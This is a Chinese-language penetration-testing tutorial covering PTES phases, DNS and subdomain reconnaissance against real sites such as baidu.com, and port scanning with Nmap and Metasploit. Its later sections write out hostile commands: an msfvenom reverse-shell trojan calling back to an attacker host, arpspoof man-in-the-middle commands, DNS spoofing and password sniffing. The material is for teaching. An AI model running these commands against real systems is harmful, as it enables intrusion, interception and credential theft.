渗透测试相关总结

首先上张图,内容为常见的渗透测试攻击检测内容:

penetration-testing

当然,还有PTES(Penetration Testing Execution Standard) 渗透测试执行标准,可以去PTES官网看详细内容

这里提供一个翻译版的图表内容PTES标准

渗透测试部分总结最后更新于 2018.01.15

PTES 渗透测试执行标准

渗透测试执行标准PTES一般分为一下7个阶段:

  1. 前期交互 阶段

    前期交互阶段通常是由你与客户组织进行讨论,来确定渗透测试的范围和目标。这个阶段最为关键的是需要让客户组织明确清晰地了解渗透测试将设计哪些目标

  2. 情报收集 阶段

    在情报收集阶段,你需要采用各种可能的方法来收集将要攻击的客户组织的所有信息,包括使用社交mentioned网络、Google Hacking技术、目标系统踩点等等。

  3. 威胁建模 阶段

    威胁建木主要使用你在情报搜集阶段所获取到的信息,来标识出目标系统上可能存在的安全漏洞与弱点。在进行威胁建模时,你将确定最为高校的攻击方法、你所需要进一步获取到的信息,以及从哪里攻破目标系统。在威胁建模阶段,你通常需要将客户组织作为敌手看待,然后以攻击者的视角和思维来尝试利用目标系统的弱点。

  4. 漏洞分析 阶段

    一旦确定最为可行的攻击方法之后,你需要考虑你该如何取得目标系统的访问权。在漏洞分析极端,你将综合从前面几个环节中获取到的信息,并从中分析和理解哪些攻击途径会是可行的。特别需要重点分析端口和漏洞扫描结果,攫取到的服务“旗帜”信息,以及在情报收集环节中得到的其他关键信息。

  1. 渗透攻击 阶段

    最好是在你基本上能够确信特定渗透攻击会成功的时候,才真正对目标系统实施这次渗透攻击,当然在目标系统中可能存在着一些你没有预期到的安全防护措施,使得这次渗透攻击无法成功。但是要记住的是,在你尝试要出发一个漏洞时,你应该清晰的了解目标系统存在这个漏洞,进行大量漫无目的的渗透尝试之后期待奇迹般地出现一个shell根本是痴心妄想。

  2. 后渗透攻击 阶段

    后渗透攻击节段从你已经攻陷了客户组织的一些系统或取得域管理权限之后开始

    在后渗透测试阶段中,就需要你在这些难以处理的场景中寻找可用信息,激发灵感,并达成你所设置的攻击目标,从攻击者的角度,一个普通攻击者往往在攻陷系统后将他的大部分时间用于千篇一律的操作,然而作为一名这也的渗透测试者,你需要想恶意攻击者那样去思考,具有创新意识,能够迅速的反应,并依赖于你的智慧和经验,而不是使用那些自动化的攻击工具。

  3. 报告阶段

    报告是渗透测试过程中最为重要的因素,你将使用报告文档来交流你在渗透测试过程中做了哪些,如何做的,以及最为重要的——客户组织如何修复你所发现的安全漏洞与弱点。报告至少应该分为摘要、过程演示和技术发现这几个部分。

渗透测试

以下总结渗透测试的常见步骤和相应工具,持续更新.

范围界定

  • 确定需求
    • 整体项目时间
    • 测试 IP域名 范围
    • 可接受的社会工程学方法
    • 渗透测试的具体类型(黑盒、白盒、内部、外部、是否进行DoS攻击)
    • 网络设备类型(防火墙、路由器、交换机、调制解调器、负载平衡器、IDS、IPS,还是其他类型的硬件设备)
    • 组织结构关系
    • 预算概要
    • 交付成果的具体类型
  • 确定测试流程
    • 解决人员配置
    • 成本分析
    • 保密协议
    • 渗透测试合同
    • 操作规则

信息收集

域名信息

用于收集域名或IP地址范围,常见方法如下:

# Google Hacking / Google Dorks

使用搜索引擎来进行信息收集,往往能搜到很多有用的信息,当然也是一个非常靠技巧的事情。以下举一些简单的例子:

1
2
3
4
5
6
7
8
9
10
最简单sql注入点搜索:
inurl:php?id=
针对某个域名搜索相关信息
site:xxx.com
site:xxx.com intitle:"admin login"
site:xxx.com filetype:doc intext:pass
查看某个域名的url中是否有某些页面(有些框架的通用漏洞在多个网站中都会存在)
site:xxx.com inurl:admin.php

当然,对于新手来说不知道去搜索些什么,可以看Google Dorks 里面提供了很多搜索的内容,可以供新手学习思路或直接使用,其对于payload已经分好类。

# whois

WHOIS是一个标准的互联网协议,可用于收集网络注册、注册域名、IP地址和自治系统的信息。Linux 带有whois客户端程序whois,一般可直接运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
whois hellohxk.com
Domain Name: HELLOHXK.COM
Registry Domain ID: 2083889348_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://www.net.cn
Updated Date: 2017-12-21T03:03:06Z
Creation Date: 2016-12-22T04:24:38Z
Registry Expiry Date: 2018-12-22T04:24:38Z
Registrar: HiChina Zhicheng Technology Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
Registrar Abuse Contact Phone: +86.95187
Domain Status: ok https://icann.org/epp#ok
Name Server: DNS15.HICHINA.COM
Name Server: DNS16.HICHINA.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2018-02-23T12:34:09Z <<<

可以看到显示的是阿里云的联系方式,这是因为我域名是在阿里云买的,同时选择了域名隐私保护。一些没有使用隐私保护的网站或者非VPS会显示其相关注册人的个人信息。

当然也可以通过各种域名服务提供商进行查询,不过一般其只显示自己家的域名信息。

# whois反查

有时候,同一个人往往使用同一个邮箱或电话来注册域名,我们想获取相关的信息,就是whois反查。

举个例子,我们使用站长之家的邮箱反查去查询我们上面的阿里云邮箱:

reverse-query

# 子域名收集
  • subDomainsBrute
  • Layer

两款子域名猜解的工具,其原理都是使用枚举,所使用的规则或字典越强大,更可能发现更多的有效子域名。kali linux自带的dnsenum附加了常见域名的字典,dns-big字典我放在了github上

IP地址信息

# host / dig

host

host is a simple utility for performing DNS lookups.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
host -v www.meishichina.com
Trying "www.meishichina.com"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39349
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0
;; QUESTION SECTION:
;www.meishichina.com. IN A
;; ANSWER SECTION:
www.meishichina.com. 319 IN CNAME www.meishichina.com.w.kunlunar.com.
www.meishichina.com.w.kunlunar.com. 269 IN A 125.76.247.169
......

host也可完成DNS zone transfer使用如下命令:

1
host -l xx.com dns.xx.com

如果DNS服务器配置不当,就有可能造成这样的攻击,不过现代一般都将这个功能关闭了。关于DNS域传送漏洞,会在后面提到。

dig
比较常用的工具,灵活且强大

dig (domain information groper) is a flexible tool for interrogating DNS name servers. It performs DNS lookups and displays the answers that are returned from the name server(s) that were queried. Most DNS administrators use dig to troubleshoot DNS problems because of its flexibility, ease of use and clarity of output. Other lookup tools tend to have less functionality than dig.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dig hellohxk.com
; <<>> DiG 9.8.3-P1 <<>> hellohxk.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43214
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 16
;; QUESTION SECTION:
;hellohxk.com. IN A
;; ANSWER SECTION:
hellohxk.com. 49 IN A 103.72.145.7
;; AUTHORITY SECTION:
hellohxk.com. 85758 IN NS dns15.hichina.com.
hellohxk.com. 85758 IN NS dns16.hichina.com.

常见的记录类型如下:

  • A记录 实现 domain name => IP addr

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    nslookup -querytype=a hellohxk.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    Name: hellohxk.com
    Address: 103.72.145.7
    Non-authoritative answer: 它的出现代表这个结果是从服务器的缓存中得到的,这不是一个授权的答案。

    如果同一个域名指向多个A记录 每次返回的数据包含了两个IP地址,但是在返回的过程中数据排列的顺序每次都不相同。
    由于大部分的客户端只选择第一条记录所以通过这种方式可以实现一定程度的负载均衡。

  • MX记录 实现 Mail服务

    1
    2
    3
    4
    5
    6
    7
    8
    nslookup -querytype=mx hellohxk.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    hellohxk.com mail exchanger = 10 mxw.mxhichina.com.
    hellohxk.com mail exchanger = 5 mxn.mxhichina.com.

    即在给mail@xx.com发邮件时,会去进行域名解析,查找MX记录
    先找权重数最小的服务器(比如说是 10),如果能连通,那么就将服务器发送过去;如果无法连通 mx记录为10 的服务器,那么才将邮件发送到权重为20的 mail 服务器上。
    权重20的服务器在配置上只是暂时缓存mail ,当权重20的服务器能连通权重为10的服务器时,仍会将邮件发送的权重为10的 Mail 服务器上。当然,这个机制需要在 Mail 服务器上配置。

  • CNAME记录 实现 域名别称的作用

    1
    2
    3
    4
    5
    6
    nslookup -querytype=cname www.meishichina.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    www.meishichina.com canonical name = www.meishichina.com.w.kunlunar.com.

    当我们要指向很多的域名到一台电脑上的时候,用CNAME比较方便,这样查出来的不一定是真正的信息,比如baidu查出来就是a.shifen.com是baidu的安全外壳。

  • TXT记录 实现 某条记录设置说明

    1
    nslookup -qt=txt example.com

    如果设置了内容,就会看到结果

  • AAAA 记录 指向 IPv6地址
  • NS记录 指向 用哪台DNS服务器进行解析
  • TTL值 表示 解析记录在DNS服务器中的缓存时间, 利用这个值可以实现DNS rebinding,具体利用可以参考这里

同样,dig也可进行DNS域传送:

1
dig @ns4.isp.com example.com axfr

# dnsenum

DNS 枚举程序

通过字典进行DNS子域名枚举,你也可以提供你自己的字典,以baidu为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
nyrae@nyrae:~$ dnsenum -f /home/nyrae/hxk/dns_subdomain_bruteforce/dns-big.txt baidu.com
Smartmatch is experimental at /usr/bin/dnsenum line 698.
Smartmatch is experimental at /usr/bin/dnsenum line 698.
dnsenum VERSION:1.2.4
----- baidu.com -----
Host's addresses:
__________________
baidu.com. 197 IN A 123.125.114.144
baidu.com. 197 IN A 220.181.57.216
baidu.com. 197 IN A 111.13.101.208
Wildcard detection using: bmfbzcfqczrk
_______________________________________
bmfbzcfqczrk.baidu.com. 200 IN A 116.255.235.199
!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Wildcards detected, all subdomains will point to the same IP address
Omitting results containing 116.255.235.199.
Maybe you are using OpenDNS servers.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Name Servers:
______________
dns.baidu.com. 61918 IN A 202.108.22.220
ns2.baidu.com. 75478 IN A 61.135.165.235
ns3.baidu.com. 61918 IN A 220.181.37.10
ns4.baidu.com. 61918 IN A 220.181.38.10
ns7.baidu.com. 62539 IN A 180.76.76.92
Mail (MX) Servers:
___________________
mx.maillb.baidu.com. 95 IN A 220.181.50.185
mx.n.shifen.com. 95 IN A 220.181.3.85
mx1.baidu.com. 95 IN A 220.181.50.185
mx1.baidu.com. 95 IN A 61.135.165.120
jpmx.baidu.com. 1640 IN A 61.208.132.13
mx50.baidu.com. 70 IN A 180.76.13.18
Trying Zone Transfers and getting Bind Versions:
_________________________________________________
Trying Zone Transfer for baidu.com on ns2.baidu.com ...
AXFR record query failed: REFUSED
Trying Zone Transfer for baidu.com on ns3.baidu.com ...
AXFR record query failed: REFUSED
Trying Zone Transfer for baidu.com on ns7.baidu.com ...
AXFR record query failed: REFUSED
Trying Zone Transfer for baidu.com on ns4.baidu.com ...
AXFR record query failed: REFUSED
Trying Zone Transfer for baidu.com on dns.baidu.com ...
AXFR record query failed: REFUSED
Brute forcing with /home/nyrae/hxk/dns_subdomain_bruteforce/dns-big.txt:
_________________________________________________________________________
1.baidu.com. 600 IN CNAME baifubao-bfe.n.shifen.com.
baifubao-bfe.n.shifen.com. 291 IN A 180.149.133.125
11.baidu.com. 600 IN CNAME jpaasmatrix.e.shifen.com.
jpaasmatrix.e.shifen.com. 300 IN A 220.181.57.55
7.baidu.com. 600 IN CNAME developers.n.shifen.com.
999.baidu.com. 7200 IN CNAME domain-offline.baidu.com.
domain-offline.baidu.com. 422 IN A 182.61.62.50
a.baidu.com. 968 IN CNAME asp.e.shifen.com.
asp.e.shifen.com. 60 IN A 220.181.57.146
abc.baidu.com. 150 IN CNAME www.a.shifen.com.
www.a.shifen.com. 79 IN A 180.149.131.98
www.a.shifen.com. 79 IN A 180.149.132.151
abs.baidu.com. 7200 IN CNAME abs.n.shifen.com.
abs.n.shifen.com. 300 IN A 180.149.144.4
ac.baidu.com. 5192 IN CNAME ac.n.shifen.com.
ac.n.shifen.com. 206 IN A 180.97.104.203
acc.baidu.com. 7200 IN A 10.48.46.62
access.baidu.com. 7200 IN A 10.94.49.39
accounts.baidu.com. 7200 IN A 10.11.252.74
ad.baidu.com. 7200 IN CNAME domain-offline.baidu.com.
domain-offline.baidu.com. 388 IN A 182.61.62.50
ada.baidu.com. 39 IN CNAME ada.e.shifen.com.
ada.e.shifen.com. 242 IN A 180.149.132.130
adm.baidu.com. 3399 IN CNAME ssp.bfe.e.shifen.com.
ssp.bfe.e.shifen.com. 21 IN A 180.149.131.210
admin.baidu.com. 7200 IN A 10.26.109.19
ads.baidu.com. 7200 IN A 10.42.4.225
^C

可以看到他将NS和MX也都帮你查找了出来。
我们可以使用多个工具进行探测,如果一个结果在多个工具中重复出现,那么那个结果往往是正确的。

# dnsdict6

用于IPv6的域名收集,kali2.0 之后默认不附带此工具
这些工具的使用基本大同小异。

# DMitry

属于多功能的信息收集工具,主要方式为:

  • 根据IP 地址(或域名)来査询目标主机的whois 信息;
  • 在Netcraft.com 的网站上挖掘主机信息;
  • 査找目标域中用的子域;
  • 査找目标域的电子邮件地址;
  • 探测目标主机上打开的端口、被屏蔽的端口和关闭的端口。

dmitry -h的说明写的很详细,通过简单命令可以将一些其他工具的功能一起完成输出。

1
2
3
dmitry -iwnse baidu.com
输出太多,就不贴了

注意其子域名收集会用的google,大天朝人民注意科学上网。

# tcptraceroute

用来追踪到目标主机之间的路由信息,与传统的traceroute不同,不使用ICMP数据包而采用TCP SYN包,防止目标过滤ICMP数据包.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nyrae@nyrae:~$ tcptraceroute www.baidu.com
Selected device eth0, address 10.170.30.165, port 45447 for outgoing packets
Tracing the path to www.baidu.com (220.181.112.244) on TCP port 80 (http), 30 hops max
1 10.170.72.254 0.929 ms 0.861 ms 0.851 ms
2 172.16.255.242 4.295 ms 4.462 ms 4.799 ms
3 172.16.255.254 0.981 ms 0.588 ms 0.603 ms
4 113.140.29.1 1.400 ms 1.566 ms 1.974 ms
5 * * *
6 * * *
7 * * *
8 36.110.244.18 23.818 ms 22.517 ms 22.827 ms
9 * * *
10 220.181.182.30 20.148 ms 20.129 ms 20.119 ms
11 * * *
12 220.181.112.244 [open] 21.946 ms 23.013 ms 32.110 ms

# DNS-Zone-Transfer

DNS域传送,其利用的是DNS服务器的冗余设计造成的缺陷,即备用服务器使用来自主服务器的数据刷新自己的域数据库,防止服务器故障时无法提供解析服务。
一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送.

其他信息收集方法

# theharvester

捜索引擎类工具可以使用搜索引擎获取目标主机的域名信息、电子邮件信息,以及文件的元数据(metadata)信息。这些工具被动收集的工作方式也正是它们的优势所在。如果您无法访问目标主机上的网站,不妨利用搜索引擎间接访问。就其结果而言,目标主机不会知道您具体进行了哪些操作。

theharvester能够收集电子邮件账号、用户名和主机名/子域名信息。它通过数个公共资源搜索所需的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
python theHarvester.py -d baidu.com -l 100 -b google
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.7 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
[-] Searching in Google:
Searching 0 results...
Searching 100 results...
[+] Emails found:
------------------
ir@baidu.com
chuanke-service@baidu.com
[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
111.206.37.70:Pan.baidu.com
119.63.197.151:Www.baidu.com
103.235.46.232:baike.baidu.com
111.206.223.168:d.pcs.baidu.com
111.206.37.147:echarts.baidu.com
103.235.46.58:fanyi.baidu.com
119.146.74.48:imgsrc.baidu.com
23.219.39.113:ir.baidu.com
119.63.197.139:m.baidu.com
103.235.46.122:news.baidu.com
111.206.37.70:pan.baidu.com
180.76.76.76:public-dns-a.baidu.com
103.235.46.140:tieba.baidu.com
107.180.84.128:usa.baidu.com
103.235.46.250:wappass.baidu.com
119.63.197.151:www.baidu.com
123.125.112.68:yangziseo.baijia.baidu.com
103.235.46.123:zhidao.baidu.com

# Metagoofil

Metagoofil通过谷歌引擎搜索目标域的文件的元数据信息(metadata).

1
2
3
4
5
6
7
8
9
10
11
12
13
在获取元数据信息时,Metagoofil的内部操作过程大体如下:
● 使用Google 引擎在目标域内搜索指定的文件类型;
● 把搜索到的文档保存到本地磁盘;
● 从下载的文件中解析元数据信息;
● 把元数据信息的分析结果保存为HTML 文件。
我们可以在元数据信息里找到的信息有:
● 用户名;
● 软件版本;
● 服务器名或机器名。
渗透测试的后期阶段可能会用到这些信息。

判断是否为真实IP地址

由于很多大型网站都存在CDN、保护外壳等内容,我们直接访问所得到的第一个IP地址往往不是我们最终目标的IP地址,以下总结一些判断我们获取的IP地址是否为真实IP的方法。

# ping检测

ping检测可以帮助我们使用多个节点ping目标主机,我们观察其响应IP即可看出是否有CDN。

同样,使用国外ping检测同样达到效果,而且可能更好,因为很多网站对国外访问并没有设置CDN。这里提供一个网站

# 修改host

修改host文件:

1
2
3
/etc/resolv.conf
C:\Windows\System32\drivers\etc

将域名和IP地址进行绑定,如果能够访问,就是真实IP地址。

# 抓包观察

抓包观察IP地址,使用telnet去连接相应端口,如果返回html则为真实IP

# nslookup

1
nslookup xxx.com 国外冷门DNS

使用国外冷门DNS,很多网站对于国内才设置CDN。

# 查询域名其他记录

有时候A记录看不出来,通过其他NS、TXT、MX记录可能指向真实IP

# 通过邮件、图片获得

有时服务器会调用sendmail,注册之后,会主动发一封邮件,查看来源IP
或者图片上传的地方,抓包分析得到真实IP

活跃主机识别

得到IP地址范围后,将进行网络中目标发现,识别主机。

# ping/ping6/arping

ping,最基本的发送ICMP包探测主机,不过一般服务器进行了这个。ping6用于给ipv6地址发送。arping工作在数据链路层,arp数据包无法穿过路由,所以只能在同一局域网中进行。

# fping

与ping 程序相比,fping 可以同时向多个主机发送ping(ICMP echo)请求。您可以在命令行中指定多个目标主机,也可以在某个文件里指定需要被检测的主机。

1
fping -g 192.168.56.0/24

# hping3/nping

这两个工具都允许用户发送除了ICMP包之外的TCPUDPARP包,同时允许用户自定义发送内容及发送端口,当然习惯上大家更喜欢使用更为强大且常用的Nmap工具,在之后会介绍。

操作系统识别

# p0f

p0f是一款百分之百的被动指纹识别工具,该工具通过分析目标主机发出的数据包,对主机上的操作系统进行鉴别。可以使用其分析wireshark抓的数据包:

1
p0f -r /tmp/targethost.pcap -o p0f-result.log

服务枚举

#Amap

Amap是一个服务枚举工具。使用该工具能识别正运行在一个指定端口或一个范围端口上的应用程序。从下面的输出结果的第二段内容中可以了解到主机192.168.41.136使用的是Red Hat操作系统,并且正在运行着版本为2.2.15Apache服务器,其开放的端口是80。从倒数第二行信息中可以看到该主机还运行了DNS服务器,其开放的端口是53

1
2
3
4
5
6
7
root@kali:~# amap -bq 192.168.41.136 50-100
amap v5.4 (www.thc.org/thc-amap) started at 2014-04-21 11:20:36 - APPLICATION MAPPING mode
Protocol on 192.168.41.136:80/tcp matches http - banner: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>501 Method Not Implemented</title>\n</head><body>\n<h1>Method Not Implemented</h1>\n<p> to / not supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c
Protocol on 192.168.41.136:80/tcp matches http-apache-2 - banner: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>501 Method Not Implemented</title>\n</head><body>\n<h1>Method Not Implemented</h1>\n<p> to / not supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.15 (Red Hat) Server at www.benet.c
Protocol on 192.168.41.136:53/tcp matches dns - banner: \f
amap v5.4 finished at 2014-04-21 11:20:48

端口扫描

# Nmap

Nmap(网络映射器)是一款用于网络发现和安全审计的网络安全工具,可以检测目标主机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

Nmap通常用在信息搜集阶段,用于搜集目标机主机的基本状态信息。扫描结果可以作为漏洞扫描、漏洞利用和权限提升阶段的输入。例如,业界流行的漏洞扫描工具Nessus与漏洞利用工具Metasploit都支持导入Nmap的XML格式结果,而Metasploit框架内也集成了Nmap工具

nmap的说明可以通过man nmap来进行查看。

以下为一些参数例子:

1
2
3
4
5
对多个目标执行默认参数扫描:
nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.0-255
随机地找一些网站浏览:
nmap -sS -PS80 -iR 0 -p 80

更多的参数及使用方法可以看手册或者看我的这篇文章,对常用参数做了总结

漏洞扫描

常见自动化扫描工具

  • Nessus
  • openVAS
  • AWVS
  • appscan

具体使用就不在这里介绍了,使用起来都比较简单,重要的是规则的设置。

漏洞利用

  • Metasploit

metasploit-framework渗透测试框架,是最为常用的漏洞利用工具,其内置了很多exploit以供使用,一般的流程是这样:

  1. 使用漏洞扫描工具对target进行漏洞扫描,metasploit内置了nessus,但个人更喜欢用web版
  2. 根据漏洞信息查询相关信息,比较简单的漏洞如弱口令、后门可以直接利用,其他exploit如果内置了可以找到相关模块进行运行,如果没有内置,有CVE编号或其他信息,可以去https://www.exploit-db.com/数据库查找,下载exploit
  3. 使用metasploit加载exploit或直接运行得到shell

metasploit v4.0之后getshell之后会有meterpreter(有就进行用),其是后渗透测试的利器。

msfvenom 用于生成木马,目标一旦执行,攻击者便可以连接目标。
例如:

1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b `\x00` LHOST=192.168.1.113 LPORT=443 -f exe > abc.exe

后渗透测试

  • 权限提升
  • 内网渗透
  • 数据获取
  • 日志清除

权限提升

权限提升就是将某个用户原来拥有的最低权限提高到最高。因为我们所获得的shell一般不是root,而很多操作需要root/system账户才能执行。权限提升大致有以下方法:

# 利用本地漏洞

取得shell之后,通常分析其内核版本,寻找提升权限的exploit,或根据自身所开放服务,进行测试。没有通用的方案,需要视情况而定。

# 密码攻击

构成身份验证的要素可分为三大类:

  1. 基于所知(只有特定秘密的持有人才能“知道”有关秘密) / 密码
  2. 基于所有(持有者即可获得登录权) / 令牌
  3. 基于特征 / 指纹识别视网膜识别

目前多数系统广泛依赖单一的密码验证

一般密码在系统中均以hash存储

离线哈希破解

  1. 识别hash类型 (hash-identifier)
  2. hash破解(hashcat)
  3. 利用彩虹表(rtgenrtsortrcarack)

其他有用工具

  • samdump2 windows密码哈希破解(win下密码在c:\windows\system32\config中,系统运行时会被锁定,无法查看)
  • john DES和crypt型哈希

# 网络欺骗攻击

网络欺骗泛指修改网络数据的各种手段。例如,伪造MAC 地址、伪造IP地址等的数据,都属于网络欺骗的范畴。

DNSChef

DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色。DNSChef的这种功能可用来分析甚至控制客户主机的网络流量。

1
dnschef --fakeip=192.168.2.21 --fakedomains google.com

前提: 目标主机的DNS服务器为DNSChef的主机

arpspoof
arp欺骗/arp中间人攻击

1
2
3
4
5
6
1.1为网关
1.2为测试主机
1.3为目标主机
arpspoof -t 192.168.1.3 192.168.1.1
arpspoof -t 192.168.1.1 192.168.1.3

然后开启IP转发,即完成中间人代理,这样所有流量都会通过192.168.1.2进行数据转发。

Ettercap
当arp欺骗成功后,其可以修改数据连接,截获FTPHTTPPOPSSH1等协议的密码。

# 网络嗅探

Dsniff

Dsniff 能够在网络中捕获密码。目前,它可从以下协议中捕获密码:FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、 Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase 以及Microsoft SQL

tcpdump/wireshark
抓取网络数据包进行离线分析。